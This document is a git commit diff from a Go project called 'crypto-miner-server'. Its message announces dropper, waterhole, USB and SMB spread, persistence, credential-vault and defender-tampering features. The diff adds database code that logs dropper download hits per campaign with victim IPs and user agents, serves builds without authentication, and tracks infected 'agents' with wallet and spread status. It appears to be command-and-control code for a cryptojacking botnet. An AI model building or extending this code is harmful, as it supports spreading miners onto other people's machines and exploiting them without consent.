feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
)
if err != nil {
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,175 @@
package db
import (
"fmt"
"strings"
"time"
"crypto-miner-server/internal/models"
)
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
campaign = sanitizeCampaign(campaign)
if campaign == "" {
return nil
}
_, err := d.Exec(
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
campaign, buildID, source, ip, userAgent, time.Now(),
)
return err
}
func sanitizeCampaign(c string) string {
c = strings.TrimSpace(c)
if len(c) > 64 {
c = c[:64]
}
// Allow alphanumeric, dash, underscore, dot
var b strings.Builder
for _, r := range c {
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
b.WriteRune(r)
}
}
return b.String()
}
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
type CampaignHitSummary struct {
Campaign string `json:"campaign"`
Count int `json:"count"`
LastHit string `json:"last_hit"`
}
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
if limit <= 0 || limit > 500 {
limit = 100
}
rows, err := d.Query(`
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
FROM campaign_hits
GROUP BY campaign
ORDER BY cnt DESC
LIMIT ?`, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var out []CampaignHitSummary
for rows.Next() {
var s CampaignHitSummary
var lastRaw string
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
return nil, err
}
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
s.LastHit = t.Format(time.RFC3339)
} else {
s.LastHit = lastRaw
}
out = append(out, s)
}
return out, nil
}
// ListPublicBuilds returns builds eligible for unauthenticated download.
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
if allEnabled {
return d.ListBuilds(50)
}
if latestN <= 0 {
latestN = 3
}
seen := map[string]bool{}
var out []*models.BuildRecord
add := func(b *models.BuildRecord) {
if b == nil || seen[b.ID] {
return
}
seen[b.ID] = true
out = append(out, b)
}
// Pinned builds
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
if err == nil {
defer pinnedRows.Close()
for pinnedRows.Next() {
b, err := scanBuild(pinnedRows)
if err == nil {
add(b)
}
}
}
// Operator-marked public
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
if err == nil {
defer publicRows.Close()
for publicRows.Next() {
b, err := scanBuild(publicRows)
if err == nil {
add(b)
}
}
}
// Latest N by created_at
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
if err == nil {
defer latestRows.Close()
for latestRows.Next() {
b, err := scanBuild(latestRows)
if err == nil {
add(b)
}
}
}
if out == nil {
out = []*models.BuildRecord{}
}
return out, nil
}
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
if allEnabled {
_, err := d.GetBuild(id)
return err == nil, err
}
builds, err := d.ListPublicBuilds(false, latestN)
if err != nil {
return false, err
}
for _, b := range builds {
if b.ID == id {
return true, nil
}
}
return false, nil
}
// SetBuildPublic toggles the operator public flag on a build.
func (d *Database) SetBuildPublic(id string, public bool) error {
val := 0
if public {
val = 1
}
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
if err != nil {
return err
}
n, _ := res.RowsAffected()
if n == 0 {
return fmt.Errorf("build not found: %s", id)
}
return nil
}

View File

@@ -0,0 +1,50 @@
package db
import (
"testing"
"time"
"crypto-miner-server/internal/models"
)
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
d := openTestDB(t)
defer d.Close()
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
hits, err := d.ListCampaignHits(10)
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
t.Fatalf("hits=%v err=%v", hits, err)
}
b1 := &models.BuildRecord{
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
}
b2 := &models.BuildRecord{
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
}
_ = d.InsertBuild(b1)
_ = d.InsertBuild(b2)
_ = d.SetBuildPublic("b1", true)
pub, err := d.ListPublicBuilds(false, 1)
if err != nil {
t.Fatal(err)
}
ids := map[string]bool{}
for _, b := range pub {
ids[b.ID] = true
}
if !ids["b1"] || !ids["b2"] {
t.Fatalf("expected public b1 and latest b2, got %v", ids)
}
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
if err != nil || !ok {
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
}
}

View File

@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
`CREATE TABLE IF NOT EXISTS campaign_hits (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign TEXT NOT NULL DEFAULT '',
build_id TEXT NOT NULL DEFAULT '',
source TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
user_agent TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb_spread = excluded.usb_spread,
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
return err
}
@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
if len(files) == 0 {
@@ -393,11 +407,12 @@ func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt int
var pinnedInt, publicInt int
var extraFilesRaw string
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
b.Pinned = pinnedInt == 1
b.Public = publicInt == 1
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
return b, err
}